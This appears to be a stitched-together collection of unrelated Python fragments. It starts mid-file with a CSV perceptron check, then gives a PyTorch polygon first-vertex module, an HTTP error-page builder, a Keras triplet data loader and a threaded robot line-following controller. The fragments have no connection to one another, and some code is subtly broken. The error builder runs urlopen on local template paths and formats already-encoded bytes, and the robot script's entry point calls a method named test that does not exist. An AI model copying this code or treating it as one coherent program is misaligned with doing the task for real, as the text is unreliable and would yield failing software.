	csvreader = csv.reader(csvfile, delimiter=',')
	#row_count = sum(1 for row in csvreader)
	#print(row_count)
	for row in csvreader:
		slength = float(row[0])
		swidth = float(row[1])
		plength = float(row[2])
		pwidth = float(row[3])
		label = int(row[4])

		inputlist = [slength, swidth, plength, pwidth, label]
		correctCounter += checkWeights(inputlist)

print("Correct:",correctCounter)


import torch
import torch.nn as nn
import torch.nn.functional as F

device = torch.device("cuda" if torch.cuda.is_available() else "cpu")

class FirstVertex(nn.Module):
    def __init__(self, opts, feats_dim, feats_channels):
        super(FirstVertex, self).__init__()
        self.grid_size = feats_dim
        self.opts = opts

        self.edge_conv = nn.Conv2d(
            in_channels = feats_channels,
            out_channels = 16,
            kernel_size = 3,
            padding = 1
        )

        self.edge_fc = nn.Linear(
            in_features = feats_dim**2 * 16,
            out_features = feats_dim**2
        )

        self.vertex_conv = nn.Conv2d(
            in_channels = feats_channels,
            out_channels = 16,
            kernel_size = 3,
            padding = 1
        )

        self.vertex_fc = nn.Linear(
            in_features = feats_dim**2 * 16,
            out_features = feats_dim**2
        )

    def forward(self, feats, temperature=0.0, beam_size=1):
        """
        if temperature < 0.01, use greedy
        else, use temperature
        """
        batch_size = feats.size(0)
        conv_edge = self.edge_conv(feats)
        conv_edge = F.relu(conv_edge, inplace=True)
        edge_logits = self.edge_fc(conv_edge.view(batch_size, -1))

        # Different from before, this used to take conv_edge as input before
        conv_vertex = self.vertex_conv(feats)
        conv_vertex = F.relu(conv_vertex)
        vertex_logits = self.vertex_fc(conv_vertex.view(batch_size, -1))
        logprobs = F.log_softmax(vertex_logits, -1)

        # Sample a first vertex
        if temperature < 0.01:
            logprob, pred_first = torch.topk(logprobs, beam_size, dim=-1)

        else:
            probs = torch.exp(logprobs/temperature)
            pred_first = torch.multinomial(probs, beam_size)

            # Get logprob of the sampled vertex
            logprob = logprobs.gather(1, pred_first)

        # Remove the last dimension if it is 1
        pred_first = torch.squeeze(pred_first, dim=-1)
        logprob = torch.squeeze(logprob, dim=-1)

        return edge_logits, vertex_logits, logprob, pred_first

    def first_point_correction(self, first_v, poly_class, thresh):
        first_v = first_v.unsqueeze(-1)
        poly_class = poly_class.to(torch.int64)

        x = first_v % self.grid_size
        y = first_v / self.grid_size
        # Each of shape batch_size, 1

        x_gt = poly_class % self.grid_size
        y_gt = poly_class / self.grid_size
        invalid = torch.eq(poly_class, self.grid_size**2)
        valid = torch.ne(poly_class, self.grid_size**2)
        # Each of shape batch_size, max_time_steps

        lengths = torch.sum(valid, dim=-1)

        dist = torch.abs(x_gt - x) + torch.abs(y_gt - y)
        # Manhattan Distance

        dist.masked_fill_(invalid, 10*self.grid_size)
        val, idx = torch.min(dist, dim=-1)

        new_poly_class = torch.zeros_like(poly_class, device=device)
        new_poly_class += self.grid_size**2
        # Fill with EOS

        for b in range(first_v.size(0)):
            # Across batches
            pos = idx[b]
            last_idx = lengths[b]
            if last_idx != self.opts['max_poly_len']:
                last_idx = last_idx - 1
                # Because we synthetically add the first
                # point at the end unless it's of max length

            new_poly_class[b, :last_idx] =\
            torch.cat((poly_class[b, pos:last_idx], poly_class[b, :pos]))

            if val[b] <= thresh:
                # No correction for first_v
                new_poly_class[b, 0] = first_v[b]

            if last_idx != self.opts['max_poly_len']:
                # Add first point to the end
                new_poly_class[b, last_idx] = new_poly_class[b, 0]

        return new_poly_class


from urllib import urlopen

def create_error(code):
    if code == 404:
        args = {'code': '404',
                'desc': 'Page not found',
                'mesg': 'The page you are looking for does not exist!!'}
    elif code == 500:
        args = {'code': '500',
                'desc': 'Network error',
                'mesg': 'There was an error with the code on the server!!'}
    else:
        args = {'code': '---',
                'desc': 'Unknown',
                'mesg': 'An error has been encountered, please try again!!'}
    #
    return urlopen('html/header.html').read().encode('utf-8').format(title=str(code)) + \
           urlopen('html/error.html').read().encode('utf-8').format(**args) +\
           urlopen('html/footer.html').read().encode('utf-8')


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
dataloader_triplet.py
Created on Nov 03 2019 14:27

@author: Tu Bui tb0035@surrey.ac.uk
"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import numpy as np
import pandas as pd
from random import shuffle, Random
import tensorflow as tf
# import keras
from .helpers import Timer

MODE = ['class', 'instance', 'super']

def get_data_info(data_path):
    """
    get database info incl. size and num classes
    :param data_path: path to npz or txt or csv
    :return: dict
    """
    if data_path.endswith('.npz'):
        data = np.load(data_path)
        labels = data['labels'][...]
        example_feat = data['feats'][0]
        out = {'size': len(labels),
               'num_classes': len(np.unique(labels)),
               'nsegments': 1,
               'full_paths': [data_path]
               }
    elif data_path.endswith('.csv') or data_path.endswith('.txt'):  # list of datasets
        lst = pd.read_csv(data_path)
        base_dir = os.path.dirname(data_path)
        segment0 = os.path.join(base_dir, lst['path'].tolist()[0])
        data = np.load(segment0)
        example_feat = data['feats'][0]
        full_paths = [os.path.join(base_dir, p) for p in lst['path'].tolist()]
        out = {'size': sum(lst['N'].tolist()),
               'num_classes': int(lst['num_classes'][0]),
               'nsegments': len(lst['path'].tolist()),
               'full_paths': full_paths
               }
    else:
        raise TypeError("Error! dataset not supported.")
    out['dim'] = len(example_feat)
    return out

def get_data_list(data_path):
    if data_path.endswith('.npz'):
        nsamples = len(np.load(data_path)['labels'])
        return [data_path], [0], nsamples
    else:  # csv or txt
        data_dir = os.path.dirname(data_path)
        csv_lst = pd.read_csv(data_path)
        lst = csv_lst['path'].tolist()
        nsamples = sum(csv_lst['N'].tolist())
        return [os.path.join(data_dir, p) for p in lst], list(range(len(lst))), nsamples

def load_all_data(data_path):
    if data_path.endswith('.npz'):
        data = np.load(data_path)
        return data['feats'], data['labels']

class DataLayerTriplet(tf.keras.utils.Sequence):
    """Generates data for Keras
    used for raster and vector features
    keras parallel friendly
    """

    def __init__(self, feats_a, feats_p, labels_a, labels_p, batch_size=100, mode='class',
                 branch='ap', verbose=True):
        """labels_a and labels_p should be the same"""
        self.timer = Timer()
        self.feats_a = feats_a
        self.feats_p = feats_p
        if len(np.shape(labels_a)) == 2:  # double labels
            print('Double label detected. Assume first label is class-level, 2nd is instance-level')
            self.double_labels = True
            self.labels_a = np.array(labels_a)[:, 0]
            self.labels_p = np.array(labels_p)[:, 0]
            self.labels_a_ins = np.array(labels_a)[:, 1]
            self.labels_p_ins = np.array(labels_p)[:, 1]
        else:
            self.double_labels = False
            self.labels_a = labels_a
            self.labels_p = labels_p
        self.shuffle = True  # shuffle data
        self.branch = branch  # whether return data for individual branch or whole triplet
        assert mode in MODE, 'Error - invalid mode {}. Accepted ones are: {}'.format(mode, MODE)
        if mode == 'super':
            assert self.double_labels, ('Error. Super mode only applicable ',
                                        'for dataset with class- and instance-level labels')
        print('Triplet data mode: {} level - {}'.format(mode, self.timer.time(True)))
        self.level = MODE.index(mode)

        self.ncats = len(set(self.labels_a))
        ncats = len(set(self.labels_p))
        assert self.ncats == ncats, \
            'Error - number of classes. Anchor ({}) and pn ({}) mismatch'.format(self.ncats, ncats)
        self.nimgs = len(self.labels_a)
        # =============================================================================
        #     assert self.nimgs == len(self.labels_p),\
        #           'Error - number of samples. Anchor ({}) and pn ({}) mismatch'.format(self.nimgs, len(self.labels_p))
        # =============================================================================
        self.batch_size = batch_size
        self.nbpe = self.nimgs // self.batch_size
        if self.branch == 'ap':
            if verbose:
                print('Start caching label dictionary - %s.' % self.timer.time(True))
            self.labels_dict, self.class_lst = vec2dic(self.labels_a)
            self.labels_dict_p, self.class_lst_p = vec2dic(self.labels_p)
            if self.double_labels:
                self.labels_dict_ins, self.class_lst_ins = vec2dic(self.labels_a_ins)
                self.labels_dict_ins_p, self.class_lst_ins_p = vec2dic(self.labels_p_ins)
        self.indexlist = np.arange(self.nimgs)
        self.on_epoch_end()

        if verbose:
            print('Triplet Data layer:\n Num classes: {}'.format(self.ncats) +
                            '\n Num samples: {}'.format(self.nimgs) + '\n Num batches p epoch: {}'.format(self.nbpe))
            print('P-branch: Num samples{}'.format(len(self.labels_p)))
            print('Dataloader ready - %s' % self.timer.time(True))

    def __len__(self):
        'Denotes the number of batches per epoch'
        return self.nbpe

    def on_epoch_end(self):
        'Updates indexes after each epoch'
        if self.shuffle:
            np.random.shuffle(self.indexlist)

    def __getitem__(self, batch_index):
        'Generate one batch of data'
        indexes = self.indexlist[batch_index * self.batch_size:(batch_index + 1) * self.batch_size]
        return self.__load_next_batch(indexes)

    def __load_next_batch(self, list_IDs):
        """load a batch of triplet according to list_IDs of anchor
        return (X_a, X_pn, Y_a, Y_pn) """

        if self.branch=='a':
            Y_a = np.empty(self.batch_size, dtype=int)
            for i, ID in enumerate(list_IDs):
                res = self.__load_next_sample_a(ID)
                if i == 0:
                    X_a = np.zeros((self.batch_size,) + res[0].shape, dtype=np.float32)
                X_a[i, ...] = res[0]
                Y_a[i] = res[1]
            return X_a, Y_a
        elif self.branch == 'p':
            Y_p = np.empty(self.batch_size, dtype=int)
            for i, ID in enumerate(list_IDs):
                res = self.__load_next_sample_p(ID)
                if i == 0:
                    X_p = np.zeros((self.batch_size,) + res[0].shape, dtype=np.float32)
                X_p[i, ...] = res[0]
                Y_p[i] = res[1]
            return X_p, Y_p
        else:
            Y_a = np.empty(self.batch_size, dtype=int)
            Y_n = np.empty_like(Y_a)

            for i, ID in enumerate(list_IDs):
                res = self.__load_next_triplet(ID)
                if i == 0:
                    X_a = np.zeros((self.batch_size,) + res[0].shape, dtype=np.float32)
                    X_p = np.zeros((self.batch_size,) + res[1].shape, dtype=np.float32)
                    X_n = np.zeros_like(X_p)

                X_a[i, ...] = res[0]
                X_p[i, ...] = res[1]
                X_n[i, ...] = res[2]
                Y_a[i] = res[3]
                Y_n[i] = res[4]
            return [X_a, X_p, X_n], [Y_a, Y_a, Y_a, Y_n]  # the first output is dump

    def __load_next_sample_a(self, index):
        return self.feats_a[index], self.labels_a[index]

    def __load_next_sample_p(self, index):
        return self.feats_p[index], self.labels_p[index]

    def __load_next_triplet(self, index):
        """
        Load the next triplet in a batch.
        return (feat_a, feat_p, feat_n, label_a, label_n)
        thread safe
        """
        local_rnd = Random()
        local_rnd.seed()  # for multiprocessing
        x_a = self.feats_a[index]
        y_a = self.labels_a[index]
        y_n = y_a  # initial neg label
        if self.level == 0:  # class level
            # get pos
            index_p = index
            while index_p == index:
                index_p = local_rnd.choice(self.labels_dict_p[y_a])
            # get neg
            while y_n == y_a:
                y_n = local_rnd.choice(self.class_lst)
            index_n = local_rnd.choice(self.labels_dict_p[y_n])
        elif self.level == 1:  # instance level
            if self.double_labels:
                y_a_ins = self.labels_a_ins[index]
                # pos in the same instance group
                index_p = local_rnd.choice(self.labels_dict_ins_p[y_a_ins])
                # neg in the same class group but not instance group
                index_n = index
                while index_n in self.labels_dict_ins_p[y_a_ins]:
                    index_n = local_rnd.choice(self.labels_dict_p[y_a])

            else:
                index_p = index
                index_n = index
                while index_n == index:
                    index_n = local_rnd.choice(self.labels_dict_p[y_n])
        else:  # super instance mode:
            # pos is the same sketch
            index_p = index
            # neg is selected among the instance group
            index_n = index
            y_a_ins = self.labels_a_ins[index]
            while index_n == index:
                index_n = local_rnd.choice(self.labels_dict_ins_p[y_a_ins])

        x_p = self.feats_p[index_p]
        x_n = self.feats_p[index_n]
        return x_a, x_p, x_n, y_a, y_n

def vec2dic(vec):
    """Convert numpy vector to dictionary where elements with same values
    are grouped together.
    e.g. vec = [1 2 1 4 4 4 3] -> output = {'1':[0,2],'2':1,'3':6,'4':[3,4,5]}
    """
    vals = np.unique(vec)
    dic = {}
    for v in vals:
        dic[v] = [i for i in range(len(vec)) if vec[i] == v]
    return dic, vals

# class TripletData(object):
#
#     def __init__(self, vector_path, raster_path, batch_size=100, mode='class', shuffle=True, verbose=True):
#         self.vpaths, vsegids, vN = get_data_list(vector_path)
#         self.rpaths, rsegids, rN = get_data_list(raster_path)
#         self.batch_size = batch_size
#         self.mode = mode
#         assert mode in ['class', 'instance'], 'Error! Mode {} not supported'.format(mode)
#         assert vN == rN, 'Error! raster and vector not have equal len: {} vs {}'.format(rN, vN)
#         assert len(vsegids) == len(rsegids), 'Error! raster and vector not equal num segments.'
#         self.shuffle = shuffle
#         self.nsamples = vN
#         self.batch_num = self.nsamples // self.batch_size
#         self.segids = vsegids
#         self.vprev_seg_path = ''  # cache vector seg_path
#
#     def load(self):
#         while True:
#             if self.shuffle:
#                 random.shuffle(self.segids)
#             for segid in self.segids:
#                 vseg_path = self.vpaths[segid]
#                 rseg_path = self.rpaths[segid]
#                 if vseg_path != self.vprev_seg_path:  # cache current segment path and load new one
#                     self.vprev_seg_path = vseg_path
#                     vdata = np.load(vseg_path)
#                     rdata = np.load(rseg_path)
#                     img_nums = len(vdata['labels'])
#                     id_lst = list(range(img_nums))
#
#                 if self.shuffle:
#                     random.shuffle(id_lst)
#
#                 for batch_id in range(img_nums // self.batch_size):
#                     ids = range(batch_id*self.batch_size, (batch_id+1)*self.batch_size)
#


#!/usr/bin/python3

import time
import concurrent.futures
from threading import Lock
from sensing import Sensing, Interpretation, Controller

try :
    from ezblock import __reset_mcu__
    from ezblock import *

    __reset_mcu__()
    time.sleep(0.01)
except ImportError :
    print ("Simulator")
    from sim_ezblock import *

import logging
logging_format = "%(asctime) s : %(message) s "
logging.basicConfig(level = logging.INFO) #format = logging_format, level = logging.INFO, )#datefmt ="% H :% M :% S ")

# logging.getLogger().setLevel(logging.DEBUG)
# comment out this line to remove debugging comments
# logging.debug (message) Use this line to print debugging info

from logdecorator import log_on_start , log_on_end , log_on_error

class DBus:
    '''
    Class for passing msgs
    '''
    def __init__(self):
        self.msg = 0

    def read(self):
        return self.msg

    def write(self, msg):
        self.msg = msg

    def testBus(self):
        print("Before writing: ", self.read())
        self.write('Testing read/write')
        print("After writing: ", self.read())

def sensor_msg_prod(s, bus, delay):
    lock = Lock()
    while True:
        with lock:
            adcs = s.get_adc_value()
        bus.write(adcs)
        time.sleep(delay)

def interpreter(i, input_bus, output_bus, delay):
    while True:
        logging.info("input_bus: {0}".format(input_bus.read()))
        if input_bus.read() != None:
            position = i.get_grayscale_value(input_bus.read())
            output_bus.write(position)
            logging.info("output_bus: {0}".format(output_bus.read()))
            time.sleep(delay)
        else:
            time.sleep(delay)

def controller_msg_consumer(c, out_bus, delay, speed):
    while True:
        if out_bus.read() != None:
            c.line_following(out_bus.read(), speed)
            time.sleep(delay)   #Delay is required for stability
        else:
            time.sleep(delay)

def simultaneous(m,s,i,c, speed):
    #Function to run independent threaded operations
    sensor_delay = 0.2
    interpreter_delay = 0.2
    controller_delay = 0.2
    in_bus = DBus()
    out_bus = DBus()

    with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor:
        bus_sensor = executor.submit(sensor_msg_prod, s, in_bus, sensor_delay)
        bus_interpreter = executor.submit(interpreter, i, in_bus, out_bus, interpreter_delay)
        bus_controller = executor.submit(controller_msg_consumer, c, out_bus, controller_delay, speed)

    logging.info("Threads started")
    logging.info(bus_controller)
    bus_sensor.result()
    bus_interpreter.result()
    bus_controller.result()

if __name__ == "__main__":
    b = DBus()
    b.test()